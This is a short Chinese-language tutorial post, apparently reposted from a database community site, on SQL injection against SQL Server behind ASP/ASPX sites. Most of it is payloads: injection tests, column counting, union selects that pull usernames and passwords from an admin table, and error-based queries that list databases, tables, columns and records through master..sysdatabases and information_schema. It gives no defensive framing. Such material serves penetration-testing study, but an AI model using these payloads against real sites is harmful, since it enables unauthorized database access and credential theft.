sqlserver简单注入联合注入报错注入

2023年 8月 12日 97.0k 0

sqlserver 经常与 asp aspx一起使用

操作系统大多是 win2012 win2018

数据库版本 sql2008 sql2012

sqlserver 三个权限级别

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等,高权限

  • db权限:文件管理,数据库操作等

  • public权限:数据库操作等

注释符

--空格   单行注释

/**/ 多行注释

判断注入

' 单引号 是否报错

and 1=1   and 1=2   页面是否相同

判断列数

order by

联合注入

sqlserver对数据类型比较严谨

union select 1,2,3

表明,数据类型不全是int型,逐步调试

一般来说列都是id,对应的就是int型union select 1,'2',3union select 1,'2','3'

也可以通过  null  来查看

查询系统信息

db_name()  数据库名@@version  版本信息User_name()  当前用户host_name()  计算机名称

查询数据

union select 1,username,password from admin

如果字段或者表名不存在,则会报错

报错注入

查询系统信息

and @@version>and user_name()>and db_name()>......

@@version是字符串,0是整数型;利用mssql在转换类型的时候出错,会提示信息

爆库

and (select top 1 name from master..sysdatabases)>查询所有数据库名中的个

查询所有数据库名,除了masterand (select top 1 name from master..sysdatabases where name not in ('master'))>查询所有数据库名,除了master,iNethinkCMSand (select top 1 name from master..sysdatabases where name not in ('master','iNethinkCMS'))>

爆表

查询指定库中的表名的个and (select top 1 name from master.sys.all_objects where type='u' and is_ms_shipped=0)>and (select top 1 name from MYDB.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('cmd','test_tmp'))>

爆列

查询指定库指定表中的列名and (select top 1 column_name from mydb.information_schema.columns where table_name='admin')>

爆数据

爆用户名and (select top 1 username from admin)>如果再也没有可爆的用户名,页面会显示正常and (select top 1 username from admin where username not in ('admin'))>

本文来源https://www.modb.pro/db/75531

相关文章

Oracle如何使用授予和撤销权限的语法和示例
Awesome Project: 探索 MatrixOrigin 云原生分布式数据库
下载丨66页PDF,云和恩墨技术通讯(2024年7月刊)
社区版oceanbase安装
Oracle 导出CSV工具-sqluldr2
ETL数据集成丨快速将MySQL数据迁移至Doris数据库

发布评论